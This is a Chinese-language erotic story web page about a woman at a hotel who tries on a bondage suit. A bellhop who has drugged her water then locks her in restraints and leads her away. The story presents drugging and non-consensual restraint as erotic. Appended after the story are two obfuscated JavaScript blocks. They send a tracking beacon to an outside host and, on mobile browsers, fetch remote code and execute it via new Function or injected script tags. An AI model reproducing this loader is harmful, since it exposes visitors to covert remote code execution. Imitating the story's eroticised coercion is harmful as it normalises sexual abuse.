图片载入中

酒店拘束物语

特大字】 【大字】 【中字】 【小字

第一章

7月是这个南方城市最炎热的月份了吧,太阳火辣辣的挂在灰白色的天空,连云似乎也被烤得没了踪影。我是在北方长大的女孩,从小就幻想居住在南方温暖的热带,因为睡觉不用先暖被子,还可以天天穿裙子。可是如今才来了一天,我就发现自己的想法有多么幼稚,这样炎热的天气,出门不到15分钟就已大汗淋漓,汗水和防晒油混合在一起,身体就象被晒化了的糖果,又湿又粘,脑子里除了想洗澡,连路儿都不想走。

开了一天无聊的会议,好在我也只是帮经理做做笔记。到了酒店的时候已经是下午6点了,太阳依然坚持不懈的暴晒着,让我一点吃晚饭的胃口也没有,这次3天的会议,就当减肥之旅吧。想到能掉几斤肉,我居然笑了,不过很快我就笑不出来了,那个酒店大堂的服务生又在色迷迷的盯着我看。说起来就让人生气,昨天来入住的时候,那个服务生就一脸坏笑,盯着我的胸部看。如果他又高又帅也就罢了,偏偏他看起来最多也就1米5几,皮肤黝黑,和我说话还得�着头,这样的男生还好意思对女生轻薄,我要是他不如去跳河死了算了。

我迅速收起微笑,摆出很职业的面容,拉了拉套装的裙角,昂着头从他的面前走过。虽然一眼也没有看他,但是仿佛在说,癞蛤蟆是吃不到天鹅肉的,那儿凉快到哪儿呆着去。不过女人的直觉告诉我,直到电梯门关上前,他的眼睛一刻也没有离开我的身体。虽然我满脸的不肖和轻蔑,心里还是毛毛的。算了,还有两天就离开了,让他看去吧,可怜虫。

迅速脱掉了高跟鞋,脚踩在踏实的地毯上的那一刻,我的身体好像软掉的棉花,真想立刻赖在地上不起来了。不过冲掉满身的油泥,躺上软绵绵的床的诱惑似乎更大呢。我提起精神,脱了套装套裙,从小冰箱里拿出一瓶冰冻的Evian,咕嘟咕嘟喝了几口,大概是味觉也被热得失去了功能,水苦苦的,不过口渴是暂时止住了。接着我什么也没拿直接就进了浴室。

浴室里有一面大镜子,开了热水,镜子迅速开始囤积雾气。我知道这个时候镜子里的我是最美的,蒙胧的雾气掩盖了细节,总让我变得好像神话里的仙女。 不过现在的我却更象色情电影明星:高挑的身材,几乎全裸的身体,黑色的丝袜,正解着胸罩带子。我脑子里突然冒出一个好笑的念头,如果这时候那个色色的服务生看见我,大概鼻子也要喷血了吧。虽然是个委琐的小个子,但是被人欣赏多多少少还是会让女人开心的。

痛痛快快的洗了一个热水澡,蒸发掉了一身的疲惫,我才发现浴室里什么都没有,浴室里竟然没有新换的浴巾,真是差劲的酒店服务,还自称4星级。还好不是在寒冷的北方,我冲出浴室,来到衣柜前,希望能在里面找到备用的浴巾。 虽然一丝不挂,现在的我可一点不性感,倒象是掉到水里刚爬上岸的狗狗,耷拉着毛发还滴着水。如果找不到浴巾,只有先用被单了,我沮丧的想着。 打开柜门,看到柜中的物件,我不由的愣住了。柜中确实有浴巾,很多条浴巾,但是这并没有什么好惊讶的。令我惊呀的是柜中挂着的一样东西,那样我只看了一眼就明白了是什么的东西,这是SM的皮质拘束衣啊。

这样东西我其实是不陌生的,我自己平时偷偷的也常看一些SM的网站,有时也幻想过成为SM图片里被紧紧束缚,带着口塞的女主角。可是幻想毕竟不是现实,我毕竟是女孩,这样的东西敢看却不敢买,即使和男友亲密的时候也只是偶尔偷偷把双手双臂压在背后,装成被捆绑的样子。这种嗜好如果让男友知道,只会让他觉得我不是个好女孩。而我是个自立的女孩,男人的尊重和肯定对我来说很重要。况且我更希望找的是个爱自己,把自己当成公主宠的男人,而不是只喜欢虐待奴隶的主人。

虽然不陌生,但是我还是被眼前这件皮质拘束衣吓的说不出话来。它是谁的,为什么会在这里?是以前客人留下的吗?我的脑海里充满了问题,却没有答案。 我拿起电话,按下总台的按钮,电话通了,我却没有说话,盯着打开的柜门发呆。

几秒钟后,我挂掉了电话。我决定通知总台把这些东西拿走,但是在这之前,我想满足自己的好奇心。

我走到门口,在门外挂上了请勿打扰的牌子,接着回到柜前,小心的拿起了拘束衣。那是黑色皮革做的,与其说是衣服,不如说是连在一起的一条条3厘米宽的皮带。皮革非常厚,手感却非常好,接触到皮革的时候有柔软粗糙的触感,可是稍微一用力,却又象铁一样坚硬,和充满弹性的绳子完全不一样。我以前一直以为皮革的感觉好像有弹力的橡胶,原来不是这样的。我微微用力想把拘束衣从钩子上拿下来,却发现拘束衣出奇的重,不用力跟本拿不动。我仔细一看,原来在每条皮带的边上,都镶着银色的铁丝,怪不得皮带那么坚硬。

我用力将拘束衣拿了下来,用双手举着,大约20公斤的样子。我的手很快就酸了,可是一种奇怪的感觉却在全身蔓延开来。我本来只是想仔细看看拘束衣,不确定要不要试穿一下,可是那种坚硬,沉重的感觉让有一种被束缚的冲动。如果将拘束衣穿上,将皮带收紧,再带上皮铐,且不说那镶着银丝的皮具的压迫,即使是拘束衣本身的重量大概都会让我有强烈的束缚感。

我再仔细观察,发现拘束衣的构造极其复杂,和普通杂志上看到的拘束衣不一样,眼前的拘束衣几乎是所有拘束具的大集合:从头部的塞口到大腿以及脚踝的皮铐,应有尽有,全都连在一起。

因为所有的皮带都是打开的,只是每条皮带上面有金属的小扣,所以我并不知道他们合起来后是什么样子。

拘束衣的最上边是由三条横着的皮带,一条竖着的皮带组成的“羊”形,中间的皮带连着一个红色的大球,不用说是用来塞口的。

接下来连着的是一条稍粗带许多小铁圈的皮带,大概是项圈了。

接着就是许多长皮带,在大约是胸口的部分十分复杂,皮带有长有短。

到了胸部以下又开始稀松,再往下看,原来在女生下面的那个部位,是三条皮带。看到这里,不知道为什么,我的身体开始渐渐发热,身体希望被束缚的感觉越来越强烈,近在眼前的的拘束具变得越来越柔软,似乎不用我动,它也要扑上来一样。

终于,我的理智和矜持被好奇心征服了,我决定无论如何穿上这件拘束衣试试。

我简单的擦干了身体,穿上了内衣内裤。然后将三条皮带从两腿间穿过。这三条皮带很短,而且是连在腰间的皮带上的,要把腰间的皮带扣起来,得很使劲拉才行。我用劲将腰间的皮带向上拉到腰部,皮带紧紧陷入了我的身体,身体立刻就有了充实的感觉。

我用劲拉紧腰间的皮带,皮带的设计很独特,没有带扣,而是一排铁制的按扣,拘束衣上所有的皮带都是这样设计的。拉到最头,将一排按扣按在一起就可以了。打开的时候用力将按扣一个个拔开,似乎没有什么困难。皮带最头上的一个按扣有一个小孔,大概是可以锁起来的,不过我可没有兴趣那样做。

我拿出一双丝袜,半透明的黑色丝袜,蕾丝筒口,穿上后腿部的线条微微反光。我开始扣大腿上的皮带。那是两跟中间连在一起的皮带,分别在大腿的两侧扣上。皮带同样很粗很硬。但是因为里面接触身体的部分稍软,所以并没有特别的不舒服。

我用力扣上两条皮带,皮带紧扣丝袜的蕾丝边,将两条大腿连在一起,并勒住大腿,产生陷入肉里的效果,不过,我并没有感觉到不适。

我坐到了床上,开始系紧膝盖上的皮带,上下各两条,将膝盖紧紧连在一起。 再往下,就是脚镣了。

脚皮铐十分粗大,外面的中间四分之三包着铁,沈甸甸给人十分厚实的感觉。 皮铐也是扣式设计,一样可以锁起来。两只皮铐中间象征性的有三个铁圈,算是锁链,其实根本没有太多活动的余地。

再仔细一看,脚皮铐下面竟然连着一些东西,原来竟然是一双高跟鞋!

我是很喜欢高跟鞋的,尤其是脚踝带扣的高跟鞋,也许是潜意识里的SM在作怪吧。不过脚皮铐下连着的高跟鞋却十分不同,它的鞋底十分小,勉强支撑住脚底板,面上只有两条皮带。最与众不同的是它的鞋跟,竟然有10英寸长,基本上穿上后就是用脚趾在走路!

还好我也不打算真的穿着走路,所以没有犹豫,我将双脚放了进去,并将皮带一一扣紧,最后将脚皮铐拉到最紧并扣好。

现在我的整个下半身都被皮带紧紧的束缚住了,我站起来试着走动,脚更本迈不开步,只能左一点右一点的挪动。10寸的高根把我穿着黑色丝袜的脚拉长到了极限。为了站立必须绷紧小腿,脚部的曲线也格外好看,虽然极度不舒服,却立刻让我的身材高挑了起来。

才走了几步我就开始享受到了受虐的痛苦,我又跳回了床上,喘了几口气,既然到了这个地步,一鼓作气,上半身也把它给绑完。

首先是胸部,那里的皮带也最多。我慢慢的把皮带整理开来,长的有三跟,中间连着两个皮圈,不用想也知道是那里的。

我从背后将皮带拉到胸前,将皮圈套上胸口。出乎我的意料,皮圈是橡胶做的,有很强的弹力,一用力就可以卡在胸部上,让前胸更突出,坚挺。我低头骄傲的看着自己,平时谎称BCup,现在怎么看都有CCup了。

我将三根皮带在身体两侧扣死,胸部又勒紧了几分。现在我开始检查剩下的皮带,它们大都和胸部的三根皮带连在一起,左右各有一个小皮扣,是用来束缚手臂的,背后有两个包着铁皮的手铐,紧紧连在一起,很厚实,但是比脚铐略小一点。胸部皮带的上面,连着项圈和口塞。我决定先从那里开始。

首先我拉紧并扣上项圈,项圈顶住我的脖子,上半身立刻不由自主挺立了起来,项圈由前后的皮带连接着胸部,让我很难前倾或后仰。接着我开始研究口塞的羊字型皮带。

首先我将圆形红色的口塞放进嘴里。口塞十分大并且是充气的,并没有完全充满,如果充满气根本不可能放进嘴里。不过即使是没有完全充满,也放得十分艰难,我很用力的将口塞一点点的往嘴里挤,刚开始因为气压的关系,口塞一直往外跑,可是当大部分口塞都进入嘴里后,拿出来似乎就变得有些困难。因为口腔的自然关闭,充气口塞将嘴填得更满。

我将皮带拉到脑后,用力扣上,现在我试了一下,无论怎样大声叫唤,发出的也只是鼻子唔唔的声音,连舌头也被挤压在口塞的下面,一点力都使不上。 另外两跟皮带一根勒住下巴,让我不能张大口,另外一根罩住眼睛,原来这不是一条皮带,而是眼罩。扣住后接下来的一切就必须在黑暗中进行。我想了一下,似乎没什么可害怕的,所有的带扣都可以打开,于是义务反顾的扣上了带扣。 我想大概任何束缚都没有头部的束缚来的强烈。嘴里被口塞充满,下巴被勒紧,眼睛一片漆黑,脖子被分隔的好像已不是身体的一个部分。

接下来就只有手了。手臂比较简单,拉紧两边的带扣,手臂自然就深深陷入了身体两侧。

可是手腕就比较困难,背后的皮手铐挂得十分高,一只手可以很容易的扣住,并且由于按扣很靠近手腕,用扣住的手就可以将按扣拉开。可是另一只手用尽力气也�不到手腕。

我倒在床上,想利用身体压住手腕,然后慢慢铐上,但是好不容易对上手腕,却找不到按扣了。

我不停的扭动身体,想将按扣挪到正确的位置,可是越急越难以对上。我的眼前一片漆黑,为了使劲,我不由的�高身体,皮带将我的身体蹦得紧紧的,大小腿无论如何挣扎也分不开皮带的捆绑,脚背被鞋拉成一条直线,嘴不听话的发出呜呜的声音,口水不由自主的从严严实实的塞着的嘴边流了下来。

就在我快要累虚脱的时候,啪的一声,我的双手被紧紧的铐在了身后。我的身体也立刻瘫软了下来。

我开始幻想,一个美丽的女孩,一个人离开家在陌生的城市,被蒙着眼,被塞着口,被捆绑着身体,被紧缚着大腿,被镣铐紧锁双脚双手,无助的遗弃在陌 生的旅馆里……

第二章,

我静悄悄的躺在床上,不时的挣扎两下,可是很快我被皮带勒住的皮肤就开始发痛,我开始觉得冷,空调被我开得很大,现在除了穿着丝袜的腿,身体上的汗被冷风一吹,似乎都结起了冰来。

我现在强烈的想把束缚解下来,可是身体刚经过这样大的折腾,哪里还有剩余的力气。我试着翻了翻身,好让自己的手可以活动带扣,可是只是稍稍一用力,身体各部位的束缚就开始折磨我,我喉咙里发出痛苦的呻吟,眼前却还是漆黑一片。这个时候的我才真实感受到了被紧缚虐待的无助和痛苦。为了让自己好受一些,我只好尽量不动,希望休息一段时间,体力恢复后再解开自己。

可是皮带却好像不肯放过我,全身的皮带好像开始越勒越紧,身体的敏感不但没有减轻,反而越来越真实,最要命的是身体里奇怪的开始越来越痒,好像千万个虫子在撕咬,非常难受。

我现在一点也不想被紧缚着了,只想赶快恢复体力,解开自己。我咬着嘴里的球,竭力使自己平静下来。我开始在心里想阳光,海岸,绿色的椰子树这些美好的事物,好在没有人打扰,很快我就慢慢忘记了身体的各处折磨,疲惫的大脑渐渐的产生了睡意,我想,睡一会也好,其他的等起来再说。

“砰砰砰”,不知睡了多久,隔壁套间一阵轻微的敲门声,将我从迷煳中拉了回来,我下意识的一提身体,全身的束缚又开始活跃,把自己吓了一跳。迷煳中我意识到我现在还是被塞口紧缚着,双手反绑在身后,一动也不能动。不过身体好像又不那么难受了,我轻轻的抖动自己的身体,慢慢的享受着紧缚。

“砰砰砰”,敲门声再度传来,不过这次我听得很清楚,敲得是我的门啊。 “客房服务”,随着敲门声,门外一个男声喊着。我的背嵴凉了起来,现在是晚上啊,我没有要求,怎么会有客房服务,该不会我挂错了牌子吧?难道“请勿打扰”的牌子被我挂成了“清洁客房”?

我后悔没有把门栓插上,不过敲门声再也没有想起,我屏住唿吸,希望这只是一个误会,门外的人已经离去了。

可是我错了,短暂的沉默后,我最不希望的事情发生了。我听见那人将门卡插进锁孔,“噼”的一声,电子门锁开了。

这下我陷入了恐慌,天哪,我可不想被人看见我被绑成这样,太丢人了。我顾不得身体的不适,用尽力气一个仰卧起坐,胸部被拉扯的一阵疼痛,可是我没有时间考虑了,我现在唯一想的,就是躲到浴室里。

我把脚挪到床边,想站起来。可是我一直躺着,忘记了脚上锁着10寸的高跟鞋。我现在只有脚趾着地,双手又被反绑在背后不能作站起来的支撑,完全没有办法从软绵绵的床里站里起来。

门已经被打开了,我听见门外的人正在把客房服务的清洁车往客房里推,我嘴里不停大叫“不要进来”,可是发出的只是“呜呜”的声音,以及不停下流的口水。终于我鼓起勇气,往下一坐,力气汇集到脚尖,再利用床的弹力迅速往上站,一阵钻心的疼痛让我不由自主的大喊了出来,可是到嘴边也只是呜的一声而已。我的眼泪不受控制的冲出了眼眶,屈辱感遍布了全身。终于,我踉踉跄跄的站立了起来。

门外的人已把车推进了门,因为进了门后是一个小走廊,他现在大概还看不到我。但是他显然听到动劲了,开始问“有人吗?”。我还是用力重复着大叫“不要进来”,可是那听起来就象小孩子在吐口水,显然来人不明所以,因为小车又开始向前推了。

我急了,开始向记忆中的浴室方向移动。可是且不说眼前一片漆黑,我的大小腿还被绑在一起,只有双脚勉强可以移动三个铁环的距离而已。我用尽全力向前走,可是外人看来,就好像一个人在扭着扭着慢慢前进。而且每走一步,我身上的皮带就会把我从头到脚折磨一遍。

我急了,开始往前跳,只跳了一步,就失去了平衡。没有手的保护,为了不摔得头破血流,我赶紧蹲下才勉强保持住平衡,等我再次踉踉跄跄的站立起来的时候,那人已将小车推进了房里,“嘎”的一声在我身边停了下来。

有好几秒的沉默,他没有说话,我站在那里除了尴尬,也不知道说什么。我什么也看不见,不知道他的表情。可是我自己的样子却是知道的。一个年轻的女孩,蒙着眼,只穿着内衣和丝袜,全身被皮带捆绑得都陷进了肉里,带着脚镣,手被反铐在身后,嘴里塞着大大的球,还不停的滴着一丝丝的口水……我想他一定惊讶的张着嘴,眼睛睁得比看见自己中了彩票还要大。

几秒过后,我决定采取主动。既然被看见了,脸也已经丢了,现在最重要的是把自己迅速解开。于是我站直身体,挺起胸,好像自己并不在乎的样子,对着他的方向“呜呜”的叫着。我故意装得很生气,好让他知道我不希望他继续在这里呆着。

可是他很不识趣,居然开口问我“小姐,需要帮忙吗?”语气里似乎还有笑意。

决不能让他占上风,好在我也看不见自己,我鼓气勇气,转过身体面对着他的方向,用生气的口吻一个字一个字的喊到:“出——去——”。虽然只是“呜——呜——”的两声,可是三岁的小孩也能从我的语气里听出愤怒。

这一招果然有效,果然我听见他退了出去,并关上了门。那一霎那,我的一颗心放了下来。不知道是被人看见,还是什么别的原因,经过这样的惊吓,我居然产生了一丝被虐待的快意。人在危险的时候常常被吓得半死,可是过后反而觉得刺激。我舒缓了一下麻木的双手,开始摸索手铐上的带扣。

可是我又错了,门关上后,我听见上插销的声音,他又走了回来。这下我完全慌乱了,天那,他要对我做什么?我“呜呜”的喊叫着,身体向后退,脸上写满了害怕,刚才好不容易装出来的一点高傲,完全不见踪影了。

他不说话,开始在房里四处走动,我怕极了,尽量跟着他的声音转着圈向后退。只转了不到一圈,我的方向感就完全消失了。原先虽然看不见,我还能凭借记忆,勾画出房间的地形,可是现在,我一下完全不知道自己身处、面向何方,我一下陷入完全的黑暗中,再加上自己紧紧被缚,饿狼又在身侧,那种孤独,无助,任人宰割的感觉,遍布了我全身的每一个细胞。

我现在唯一能做的,就是一边摸索着解开手铐的带扣,一边一小步一小步后退,希望能碰到一堵墙。如果我能尽快揭开眼罩还有去除口塞,那么我就不再害怕了。我慢慢扭动着后退,还没有碰到墙,可是右手上的按扣已解开了一大半,越往后越难解,可是我感到皮手铐已经松了一些,似乎只有一个扣子了。

我用力伸展右手手指,抓住尽可能多的皮扣,接着用力一拉,右手的皮扣开了!我心里一阵狂喜。可是还没高兴完,我的脚踩上了软绵绵的东西,我一个跄踉,赶忙向前又跨了一步,没想到这一步跨大了,我被脚镣一绊,身体无法控制的向前倒了下去,就在我觉得要碰到地面的时候,背后突然感到一股大力,接着身体就接触到了软绵绵的被子。原来他把我面朝下扔到了床上。

我还来不及高兴没有摔得头破血流,突然,右手碗又被塞进了镣铐里。伴随着“啪啪”的声响,他又将我的手扣了起来。我死命挣扎,用手撕拉着皮铐的按扣,却怎么也拉不开一个按扣,我用手摸索着,突然,我的心好像掉进了冰窖:天啊,他在我的左右皮手铐上各上了一个锁,这下如果没有钥匙,我自己是无论如何再也打不开束缚了,我现在是彻彻底底的被锁起来了。

他还没有停手,一股大力将我翻了过来,我现在整个正面被暴露在他面前,而我却什么也看不见。他开始从头到脚检查着什么,伴随着轻微金属碰撞的声音。 突然我明白了,他是在检查每一跟皮带,并为其上锁啊!

我害怕起来,不停得扭动,可是却又哪阻止得了,我被束缚成这样,他只要稍稍一使劲,我就动弹不得。无端的挣扎只是加重了我对自己的虐待而已。不到一分钟,我的全身的皮带,项圈,口塞,镣铐,都在咔嚓声中锁死了。我害怕的发着抖,绝望的在他的面前哭泣。我的尊严,高傲,矜持,都在他面前消失了,我嘴里“呜呜”得叫着,只乞求他能可怜可怜我,不要因为一时心血来潮而做错事。

接着他在我耳边突然开口,吓得我全身一抖。那是一种很变态的声音,轻飘飘,软绵绵的,好像在对不懂事孩子说话,声音里还带着得几分得意,和先前的声音完全不同。“第一眼看到你,我就知道你喜欢玩这个”他幽幽的说道,“我给你特意冰冻的水,你喝了吗?

那一刻,突然好像一个炸雷在我脑中鸣想。一个人影在我眼前浮现,我突然全明白了。喝起来苦苦的水,突然出现的拘束衣,莫名奇妙的冲动,夜间的客房服务,还有他给我上的十几个锁。原来这一切全是圈套,全是一个人,那个猥亵的大堂服务生,全是他计划好的!

他是怎么看出我喜欢SM的,难道是因为我穿的带扣的高跟鞋,还有酷似手铐的手表和手镯?他一直在设计一个陷阱,每次他看到我不坏好意的笑,原来都是在幻想美丽,高傲的我被灌了春药、塞口、捆绑、镣铐、然后落到他手里的样子,而我却一点也不知情,还自己把自己捆绑起来,最终掉落了他的陷阱里! 如果只是意外,那么我还有希望。现在这一切全都是设计好的圈套,接下来会发生什么,我完全无法预料。一阵阵恐惧和绝望向我袭来,我抽噎的更厉害了。 他却完全不管我的死活,一边拨弄着我的头发,一边还在问:“想出去走走吗?”

我死命的摇头,嘴里喊得呜呜直响,我想说“我当然不想要,快点放开我”。 可是他却故意说,“想啊,那好,我带你出去吹吹风。”.只听“咔嚓”一声,我的项圈上似乎又多了一条长长的锁链,和一个叮当做响的铃铛。

不容我反抗,他用力拉扯锁链,将我从床上拉了起来。接着他就牵着我往前走。我不知道要被带去那里,这里可是酒店啊,我这样被带出去,不是要被所有的人看到,以后叫我一个女孩子怎么见人呢?可是我根本没办法反抗,我的双脚仅仅脚尖着地,连站稳都成问题,根本没有力气去抵抗一个成年男子。我本想不如坐在地上,打死也不配合,可是以我现在的状况,抵抗的话可能到头连命都会送掉。被牵出去,总还有求救的机会吧。

于是一个美丽的女孩,仅仅穿着内衣和丝袜,全身上下被粗大的皮带紧缚着,上了锁,被戴上了眼罩、塞着口,强迫昂头挺胸,捆绑着大小腿,双手背拷在身后,双脚戴着厚重的脚镣,颤抖着站立在10寸的高跟上,抽泣着迈着小步,伴随着清脆的铃铛声,在无助和绝望中,任由一个不知名的猥亵男人牵着,不知道要被带到这个陌生的城市的什么地方去了。


上一篇:被邻家老翁淫辱

下一篇:阿龙的故事


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};